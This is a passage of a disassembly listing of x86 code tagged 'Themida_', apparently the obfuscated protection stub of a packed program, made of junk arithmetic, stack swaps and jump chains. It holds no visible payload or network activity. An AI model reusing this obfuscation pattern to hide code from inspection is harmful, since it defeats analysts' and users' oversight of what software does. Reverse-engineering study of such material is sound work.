loc_588D14:				; CODE XREF: sub_585452+A333j
		mov	edx, esp
		add	edx, 4
		jmp	loc_586C6F
; ---------------------------------------------------------------------------


loc_588D21:				; CODE XREF: sub_585452+4BEAj
		pop	ecx
		pop	[esp+6+var_8+2]
		pop	esp
		pop	eax
		push	esi
		mov	esi, 719E0788h
		jmp	loc_58B088
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_588D32:				; CODE XREF: Themida_:0058DD2Dj
		push	ecx
		jmp	loc_584ACB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_588D38:				; CODE XREF: sub_58C230+111Cj
		push	ecx
		push	6A4260A7h
		push	[esp+0Ch+var_C]
		pop	ecx
		jmp	loc_58CC40
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------


loc_588D47:				; CODE XREF: Themida_:0058E10Ej
		xchg	esi, [esp]
		jmp	loc_5845DF
; ---------------------------------------------------------------------------


loc_588D4F:				; CODE XREF: Themida_:00587BBFj
		push	edx
		mov	edx, 2
		sub	esi, 6EC647B8h
		add	esi, edx
		add	esi, 6EC647B8h
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5848F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588D6F:				; CODE XREF: sub_585452+398Bj
		dec	cl
		not	cl
		jmp	loc_58FB7D
; ---------------------------------------------------------------------------


loc_588D78:				; CODE XREF: sub_585452+9FAj
		sub	edx, 139E404Ah
		add	edx, ebx
		add	edx, 139E404Ah
		mov	ecx, [edx]
		mov	edx, [esp-1Ah+arg_16]
		add	esp, 4
		mov	ebx, [esp-1Eh+arg_1A]
		jmp	loc_58A022
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CCD7


loc_588D99:				; CODE XREF: sub_58CCD7-5FDj
		push	edx
		mov	edx, 0
		sub	edx, 6B10255Ch
		add	edx, ecx
		add	edx, 6B10255Ch
		add	[edx], ebx
		pop	edx
		mov	ecx, [esp+4+var_4]
		jmp	loc_58D07B
; END OF FUNCTION CHUNK	FOR sub_58CCD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588DB8:				; CODE XREF: sub_585452+6970j
		mov	[esp-1Eh+arg_1A], ebx
		jmp	loc_58DC35
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_588DC0:				; CODE XREF: Themida_:0058951Bj
		mov	ecx, 350511D5h
		inc	ecx
		jmp	loc_58C60B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589C10


loc_588DCB:				; CODE XREF: sub_589C10-731j
		pop	ecx
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		jmp	loc_585FDD
; END OF FUNCTION CHUNK	FOR sub_589C10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588DD8:				; CODE XREF: sub_585452+3AEBj
		mov	cl, 0DDh
		sub	cl, 0C3h
		jmp	loc_588D6F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_588DE2:				; CODE XREF: Themida_:0058E8B4j
		pop	eax
		add	esp, 4
		shl	ebp, 3
		xor	ebp, 2C53AB4h
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edi, 2
		push	esi
		jmp	loc_585A75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588E06:				; CODE XREF: sub_585452+11E3j
		pop	esi
		sub	ebp, 0FFFFFFFFh
		dec	ebp
		push	230Dh
		mov	[esp+0Ah+var_C+2], esi
		push	ebp
		mov	ebp, 19FBBECAh
		jmp	loc_585476
; ---------------------------------------------------------------------------


loc_588E1E:				; CODE XREF: sub_585452+5F94j
		add	edi, 4
		add	edi, 4
		jmp	loc_588E92
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_588E2F:				; CODE XREF: sub_58C230-4ED5j
		pop	edi
; END OF FUNCTION CHUNK	FOR sub_58C230
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588E30:				; CODE XREF: sub_585452+684j
		push	61B2h
		jmp	loc_586CF5
; ---------------------------------------------------------------------------


loc_588E3A:				; CODE XREF: sub_585452-8AAj
		add	eax, 12C2EBD6h
		sub	edx, eax
		mov	eax, [esp-14h+arg_E+2]
		add	esp, 4
		jmp	loc_5854B9
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_588E4C:				; CODE XREF: Themida_:0058C049j
		mov	[esp], edx
		mov	dl, 98h
		jmp	loc_58DF92
; ---------------------------------------------------------------------------


loc_588E56:				; CODE XREF: Themida_:00584D22j
		push	esp
		pop	ebx
		push	ebp
		mov	ebp, 30562A86h
		jmp	loc_585210
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588E63:				; CODE XREF: sub_585452+1990j
		not	eax
		sub	eax, 0DF25F68Ah
		add	edi, 7D454B8Ch
		add	edi, eax
		push	esi
		mov	esi, 229E16C1h
		add	esi, 474C085Bh
		and	esi, 1D9613FAh
		add	esi, 73C33874h
		sub	edi, esi
		pop	esi
		jmp	loc_58D2FA
; ---------------------------------------------------------------------------


loc_588E92:				; CODE XREF: sub_585452+39D8j
		xchg	edi, [esp+0Eh+var_10+2]
		pop	esp
		jmp	loc_58E3F8
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_588E9B:				; CODE XREF: Themida_:0058E794j
		add	al, 64h
		jmp	loc_58F186
; ---------------------------------------------------------------------------


loc_588EA2:				; CODE XREF: Themida_:005840A2j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_584608
; ---------------------------------------------------------------------------


loc_588EAD:				; CODE XREF: Themida_:00587FC3j
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_584413
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589FD5


loc_588EB8:				; CODE XREF: sub_589FD5-6133j
		add	esp, 4
		push	0E8Ch
		mov	[esp-4+arg_0], esi
		push	esp
		pop	esi
		push	ebx
		mov	ebx, 275A7A43h
		sub	ebx, 1E3F7B7Bh
		add	ebx, 1
		xor	ebx, 91AFECDh
		add	esi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+0], edi
		jmp	loc_58997D
; END OF FUNCTION CHUNK	FOR sub_589FD5
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_587AA9
; ---------------------------------------------------------------------------


loc_588EF4:				; CODE XREF: Themida_:0058BE93j
		mov	[esp], esi
		jmp	loc_58EEEA
; ---------------------------------------------------------------------------


loc_588EFC:				; CODE XREF: Themida_:00587FACj
		pop	ecx
		push	ebp
		push	0F80h
		push	esp
		jmp	loc_58E06C
; ---------------------------------------------------------------------------


loc_588F09:				; CODE XREF: Themida_:0058D4F9j
		pop	ebp
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		push	2CB136BAh
		jmp	loc_587108
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_588F1B:				; CODE XREF: sub_58EFBD-706Bj
		sub	edi, 12EC00E6h
		sub	edi, ecx
		push	esi
		mov	esi, 127B143Ah
		jmp	loc_58788A
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588F2E:				; CODE XREF: sub_585452-749j
		inc	ecx
		jmp	loc_58B3C4
; ---------------------------------------------------------------------------


loc_588F34:				; CODE XREF: sub_585452+71A2j
		mov	[esp-1Ah+arg_16], edx
		mov	dh, 4Dh
		push	edx
		mov	dl, 0DAh
		push	ecx
		jmp	loc_588DD8
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_588F51:				; CODE XREF: Themida_:00588BFEj
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		movsx	ecx, al
		jmp	loc_5884C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588F6B:				; CODE XREF: sub_585452+A29j
		push	eax
		mov	ah, 0A2h
		sub	bh, ah
		mov	eax, [esp+0Eh+var_10+2]
		add	esp, 4
		and	ch, bh
		pop	ebx
		push	4CBFh
		mov	[esp+0Ah+var_C+2], eax
		push	edx
		mov	dh, 0BDh
		add	dh, 77h
		mov	al, dh
		pop	edx
		push	edx
		mov	dh, 0F7h
		or	dh, 10h
		sub	dh, 0BAh
		jmp	loc_584115
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_588F98:				; CODE XREF: Themida_:00587DABj
		mov	ecx, 110C2895h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 62DD1676h
		or	ecx, eax
		jmp	loc_58FB92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588FB2:				; CODE XREF: sub_585452+9D99j
		mov	eax, [esp+0Eh+var_10+2]
		jmp	loc_587BB6
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E931


loc_588FBA:				; CODE XREF: sub_58E931-A2F5j
		xchg	ebp, edi
		jmp	loc_584F38
; END OF FUNCTION CHUNK	FOR sub_58E931
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588FC1:				; CODE XREF: sub_585452+71B4j
		xor	eax, 29314B72h
		mov	edx, eax
		pop	eax
		neg	edx
		and	edx, 15DC7762h
		dec	edx
		add	edx, 7A9A4399h
		sub	ebx, 28A93404h
		add	ebx, edx
		add	ebx, 28A93404h
		pop	edx
		add	ebx, 75485769h
		add	ebx, edi
		push	eax
		mov	eax, 75485769h
		sub	ebx, eax
		jmp	loc_585311
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_588FFC:				; CODE XREF: Themida_:0058AA56j
		pop	edi
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_586F52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589016:				; CODE XREF: sub_585452+4D58j
		add	eax, edi
		jmp	loc_58B465
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58901D:				; CODE XREF: Themida_:0058FA06j
		pop	esp


loc_58901E:				; CODE XREF: Themida_:005846E8j
		push	7FA5h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_58E4F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58903D:				; CODE XREF: sub_585452+363Aj
		not	edi
		xor	edi, 2873385Dh
		xor	edi, 87C68D32h
		and	edx, edi
		jmp	loc_587071
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_589052:				; CODE XREF: Themida_:0058FB67j
		sub	edx, 49F6FF3Ah
		mov	ecx, edx
		jmp	loc_5879DF

; =============== S U B	R O U T	I N E =======================================



sub_58905F	proc near		; CODE XREF: sub_586650+3CB9j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005840D3 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 00584F12 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00589B82 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058D4E0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058F918 SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		push	ecx
		mov	ecx, 51D04FC7h
		jmp	loc_5840D3
sub_58905F	endp

; ---------------------------------------------------------------------------


loc_589070:				; CODE XREF: Themida_:0058FF35j
		sub	eax, 0F8550Dh
		add	ebx, eax
		pop	eax
		jmp	loc_585A29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_58907D:				; CODE XREF: sub_589967-5A64j
		mov	esi, edx
		jmp	loc_5889BD
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------


loc_589084:				; CODE XREF: Themida_:00589408j
		pop	ebx
		add	ebx, 8902C5Eh
		add	ebx, ebp
		sub	ebx, 8902C5Eh
		jmp	loc_588CF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589098:				; CODE XREF: sub_585452+9EDj
		push	[esp+42h+var_40+2]
		mov	edi, [esp+46h+var_48+2]
		add	esp, 4
		jmp	loc_588214
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AB18


loc_5890A7:				; CODE XREF: sub_58AB18+35E2j
		pop	esi
		jmp	loc_587370
; END OF FUNCTION CHUNK	FOR sub_58AB18
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589C10


loc_5890BC:				; CODE XREF: sub_589C10-4CDDj
		xor	edx, [esp-4+arg_0]
		pop	esp
		push	0E8h
		jmp	loc_5897BF
; END OF FUNCTION CHUNK	FOR sub_589C10
; ---------------------------------------------------------------------------


loc_5890CA:				; CODE XREF: Themida_:00584C5Dj
		mov	ebx, [esp]
		add	esp, 4
		add	edi, 4A19636Ah
		sub	edi, 33B4204Eh
		add	edi, ebp
		add	edi, 33B4204Eh
		sub	edi, 4A19636Ah
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		jmp	loc_5888F2
; ---------------------------------------------------------------------------


loc_589101:				; CODE XREF: Themida_:005848D1j
		xor	[esp], ecx
		jmp	loc_58CD1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589109:				; CODE XREF: sub_585452+1A66j
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0Ah+var_C+2]
		jmp	loc_584E25
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58911B:				; CODE XREF: Themida_:0058480Dj
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_58B302
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BE98


loc_589126:				; CODE XREF: sub_58BE98-7A5Cj
		mov	eax, 4D6E6F65h
		jmp	loc_58D0CB
; END OF FUNCTION CHUNK	FOR sub_58BE98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589130:				; CODE XREF: sub_585452+6EC8j
		add	eax, 4
		push	20Bh
		mov	[esp+0Eh+var_10+2], ebx
		jmp	sub_58E761
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5877DD


loc_589142:				; CODE XREF: sub_5877DD+3FB6j
		mov	edx, ebp
		jmp	loc_585801
; END OF FUNCTION CHUNK	FOR sub_5877DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_589149:				; CODE XREF: sub_585452+F57j
		pop	[esp-20h+arg_1A+2]
		jmp	loc_5875D9
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_589151:				; CODE XREF: sub_58FA66-1152j
		pop	ebp
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 7D4B0A35h
		xor	esi, 23376C3Eh
		push	eax
		mov	eax, 6CF8794Bh
		jmp	loc_584B6B
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------


loc_58916C:				; CODE XREF: Themida_:0058EF10j
		add	esi, 4
		push	ecx
		mov	ecx, esp
		push	eax
		push	ebp
		jmp	loc_58F987
; ---------------------------------------------------------------------------


loc_58917C:				; CODE XREF: Themida_:005879C2j
		push	small 4742h
		mov	[esp], dx
		push	4C18h
		mov	[esp], ebx
		jmp	loc_58E0BC
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	esi
		mov	esi, 49234EBFh
		jmp	loc_5881AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58919F:				; CODE XREF: sub_585452+756Ej
		pop	edi
		jmp	sub_58E234
; ---------------------------------------------------------------------------


loc_5891A5:				; CODE XREF: sub_585452+637Dj
		mov	ebx, [esp-28h+arg_24]
		push	1769h
		mov	[esp-24h+arg_1E+2], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-24h+arg_1E+2]
		pop	esp
		xor	eax, edi
		push	[esp-28h+arg_24]
		pop	edi
		add	esp, 4
		push	36C6h
		mov	[esp-28h+arg_24], edi
		push	edx
		jmp	loc_58E303
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_5891D9:				; CODE XREF: sub_58C230-4FC3j
		push	esi
		mov	esi, esp
		sub	esp, 4
		jmp	loc_58D370
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------


loc_5891E4:				; CODE XREF: Themida_:0058F8DEj
		mov	ebx, 42A82223h
		and	ebx, 63BA6789h
		push	ecx
		jmp	loc_586147
; ---------------------------------------------------------------------------


loc_5891F5:				; CODE XREF: Themida_:0058C1F7j
		add	ecx, 414F6484h
		or	ecx, 73CD1A68h
		sub	ecx, 18EA0F2h
		jmp	loc_58BDC7
; ---------------------------------------------------------------------------


loc_58920C:				; CODE XREF: Themida_:00589415j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4B342DA3h
		not	ecx
		not	ecx
		jmp	loc_584292
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F3BC


loc_589223:				; CODE XREF: sub_58F3BC-13Bj
		push	dword ptr [esp+4]
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		pop	[esp+4+var_4]
		pop	esp
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	1BF9h
		mov	[esp+0], ecx
		push	edi
		mov	edi, 432E6560h
		jmp	sub_5878BB
; END OF FUNCTION CHUNK	FOR sub_58F3BC
; ---------------------------------------------------------------------------


loc_58924E:				; CODE XREF: Themida_:00586F9Fj
		sub	eax, 194C032Fh
		mov	ecx, eax
		pop	eax
		jmp	loc_5847F0
; ---------------------------------------------------------------------------


loc_58925B:				; CODE XREF: Themida_:00589B7Dj
		push	eax
		jmp	loc_583F47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58960C


loc_589261:				; CODE XREF: sub_58960C+5248j
		add	ebx, 27686041h
		xor	edx, eax
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_58960C
; ---------------------------------------------------------------------------


loc_58926E:				; CODE XREF: Themida_:00585102j
		pop	ebp
		add	ebp, 4
		push	edx
		push	esi
		push	57D818D9h
		pop	esi
		neg	esi
		xor	esi, 8EC3DE78h
		mov	edx, esi
		pop	esi
		jmp	loc_58FC79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58928D:				; CODE XREF: sub_585452+11C0j
		pop	ebp
		sub	edx, eax
		push	[esp+0Ah+var_C+2]
		jmp	loc_58D7C7
; ---------------------------------------------------------------------------


loc_589298:				; CODE XREF: sub_585452+664Ej
		add	esp, 4
		mov	esi, ebp
		jmp	loc_58BF68
; ---------------------------------------------------------------------------


loc_5892A5:				; CODE XREF: sub_585452+6B7j
		mov	esi, [esp+5Eh+var_60+2]
		jmp	loc_58BEB9
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5892AD:				; CODE XREF: Themida_:0058DBE0j
		add	dword ptr [esp], 4
		pop	edx
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		jmp	loc_58A185
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F728


loc_5892C3:				; CODE XREF: sub_58F728-14Cj
		pop	edx
		or	eax, eax
		jz	sub_586650
		push	dword ptr [edi+1Ch]
		add	[esp-4+arg_0], 214F6582h
		jmp	loc_58BABA
; END OF FUNCTION CHUNK	FOR sub_58F728
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5892DB:				; CODE XREF: sub_585452-107j
		mov	dh, 0B1h
		push	eax
		jmp	loc_58D0A7
; ---------------------------------------------------------------------------


loc_5892E3:				; CODE XREF: sub_585452+5AACj
		sub	esi, 6EEE799Dh
		pop	ecx
		push	esi
		jmp	loc_584F65
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AB18


loc_5892F0:				; CODE XREF: sub_58AB18+2093j
		pop	esi
		and	eax, edi
		pop	edi
		jmp	loc_586423
; END OF FUNCTION CHUNK	FOR sub_58AB18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5892F9:				; CODE XREF: sub_585452+6C6Dj
		push	ecx
		jmp	loc_58882B
; ---------------------------------------------------------------------------


loc_5892FF:				; CODE XREF: sub_585452+7D26j
		sub	edi, 2
		jmp	loc_58D378
; ---------------------------------------------------------------------------


loc_589307:				; CODE XREF: sub_585452+7244j
		push	2D6Fh
		jmp	loc_58EA54
; ---------------------------------------------------------------------------


loc_589311:				; CODE XREF: sub_585452+4883j
		add	esp, 4
		jmp	loc_58A2C1
; ---------------------------------------------------------------------------


loc_589319:				; CODE XREF: sub_585452+8F3Aj
		cmp	ecx, eax
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_589321:				; CODE XREF: sub_585452+8412j
		sub	ecx, 340E38D5h
		jmp	loc_5866F3
; ---------------------------------------------------------------------------


loc_58932C:				; CODE XREF: sub_585452+5136j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5852A3
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CA39


loc_58933B:				; CODE XREF: sub_58CA39-4C20j
		mov	ebp, 111D5C82h
		xor	ebp, 3EE86786h
		or	ebp, 359E6F5Eh
		sub	ebp, 7C0B000Eh
		sub	ebp, 0C3F47F4Ch
		jmp	loc_58C620
; END OF FUNCTION CHUNK	FOR sub_58CA39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_586F2E


loc_58935D:				; CODE XREF: sub_586F2E+5j
		pop	ebp
		jmp	loc_58F958
; END OF FUNCTION CHUNK	FOR sub_586F2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587574


loc_589363:				; CODE XREF: sub_587574+390Fj
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		add	ebp, eax
		jmp	loc_589922
; END OF FUNCTION CHUNK	FOR sub_587574
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F923


loc_589371:				; CODE XREF: sub_58F923-B72Bj
		mov	ecx, eax
		pop	eax
		pop	ebp
		jmp	sub_589EF0
; END OF FUNCTION CHUNK	FOR sub_58F923
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58937A:				; CODE XREF: sub_585452+40BBj
		shr	al, 5
		dec	al
		xor	al, 2Ah
		jmp	loc_58639C
; ---------------------------------------------------------------------------


loc_589386:				; CODE XREF: sub_585452+4E9Ej
		sub	eax, 55E901C0h
		mov	edx, [esp+0Eh+var_10+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], edi
		mov	edi, 12D61612h
		sub	ebx, 596B693Ah
		jmp	loc_58FDDC
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5893AD:				; CODE XREF: Themida_:00589AE9j
		mov	ecx, 402A1188h
		shr	ecx, 7
		or	ecx, 69782A08h
		inc	ecx
		inc	ecx
		jmp	loc_58776F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5893C2:				; CODE XREF: sub_585452+1E8Cj
		pop	esi
		pop	eax
		sub	esi, 0E412C7Bh
		push	esi
		dec	[esp-24h+arg_1E+2]
		pop	esi
		not	esi
		push	ebp
		mov	ebp, 7E150400h
		neg	ebp
		dec	ebp
		not	ebp
		add	ebp, 0EBE131A8h
		jmp	loc_58D450
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5893E7:				; CODE XREF: Themida_:0058970Aj
		not	ebp
		xor	ebp, 6F6F295Dh
		add	ebp, 677E7893h
		add	ebx, ebp
		pop	ebp
		push	37A6h
		mov	[esp], ebp
		push	ebx
		mov	ebx, 2
		mov	ebp, ebx
		jmp	loc_589084
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F728


loc_58940D:				; CODE XREF: sub_58F728+6j
		sub	edi, ebp
		jmp	loc_587868
; END OF FUNCTION CHUNK	FOR sub_58F728
; ---------------------------------------------------------------------------


loc_589414:				; CODE XREF: Themida_:00588CCDj
		pop	eax
		jmp	loc_58920C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58941A:				; CODE XREF: sub_585452+92A9j
		add	eax, edx
		jmp	loc_58833F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_589421:				; CODE XREF: Themida_:00586397j
		mov	ecx, [esp]
		jmp	loc_585139
; ---------------------------------------------------------------------------


loc_589429:				; CODE XREF: Themida_:0058605Cj
		mov	[esp], cx
		push	small 28E1h
		mov	[esp], bx
		jmp	loc_58E730
; ---------------------------------------------------------------------------


loc_58943A:				; CODE XREF: Themida_:0058D57Aj
		pop	edi
		push	ebx
		jmp	loc_58E93D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_589441:				; CODE XREF: sub_58EFBD+EE0j
		xor	edi, 7C1C8BB2h
		jmp	loc_58DB71
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_58944C:				; CODE XREF: Themida_:0058822Ej
		pop	esp
		push	edx
		push	ebx
		push	33A12816h
		pop	ebx
		sub	ebx, 18D428CFh
		jmp	loc_58EE60
; ---------------------------------------------------------------------------


loc_589460:				; CODE XREF: Themida_:00586A4Fj
		mov	edi, 10A4B38Eh
		jmp	loc_58D22E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58946A:				; CODE XREF: sub_585452+46E7j
		pop	eax
		sub	ebp, 78BC219Eh
		sub	ebp, edi
		add	ebp, 78BC219Eh
		pop	edi
		xchg	ebp, [esp-2Ch+arg_28]
		mov	esp, [esp-2Ch+arg_28]
		mov	[esp-2Ch+arg_28], edi
		push	esi
		push	0DAA51EEh
		pop	esi
		push	ebp
		jmp	loc_58DE2E
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_589490:				; CODE XREF: Themida_:0058AB53j
		add	esp, 4
		push	ebx
		mov	ebx, 0FFFFFFFFh
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	ebp, 2
		sub	ebp, 0DBF78E4Dh
		add	eax, 2054C0Eh
		sub	eax, ebp
		jmp	loc_58D351
; ---------------------------------------------------------------------------


loc_5894B6:				; CODE XREF: Themida_:00589870j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_586AF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589C10


loc_5894BF:				; CODE XREF: sub_589C10+2545j
		add	eax, ebx
		pop	ebx
		mov	ecx, eax
		pop	eax
		add	esi, 4CB95B0Ch
		add	esi, 0CE579BCh
		add	esi, ecx
		sub	esi, 0CE579BCh
		sub	esi, 4CB95B0Ch
		jmp	loc_588DCB
; END OF FUNCTION CHUNK	FOR sub_589C10
; ---------------------------------------------------------------------------


loc_5894E4:				; CODE XREF: Themida_:00584E74j
		pop	ebp
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_58B8E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5894FC:				; CODE XREF: sub_585452-632j
		neg	ch
		shl	ch, 6
		add	ch, 8Bh
		sub	al, ch
		pop	ecx
		push	eax
		mov	al, 0A4h
		shr	al, 8
		jmp	loc_58937A
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		push	6E59h
		mov	[esp], ebx
		push	ecx
		jmp	loc_588DC0
; ---------------------------------------------------------------------------


loc_589520:				; CODE XREF: Themida_:0058BB6Cj
		mov	bh, 0C9h
		add	al, 1Dh
		sub	al, 0FCh
		add	al, bh
		add	al, 0FCh
		jmp	loc_5851E8
; ---------------------------------------------------------------------------


loc_58952F:				; CODE XREF: Themida_:0058EC19j
		push	1B85h
		mov	[esp], ebx
		mov	ebx, 78895017h
		xor	ebx, 11105406h
		jmp	loc_585865
; ---------------------------------------------------------------------------


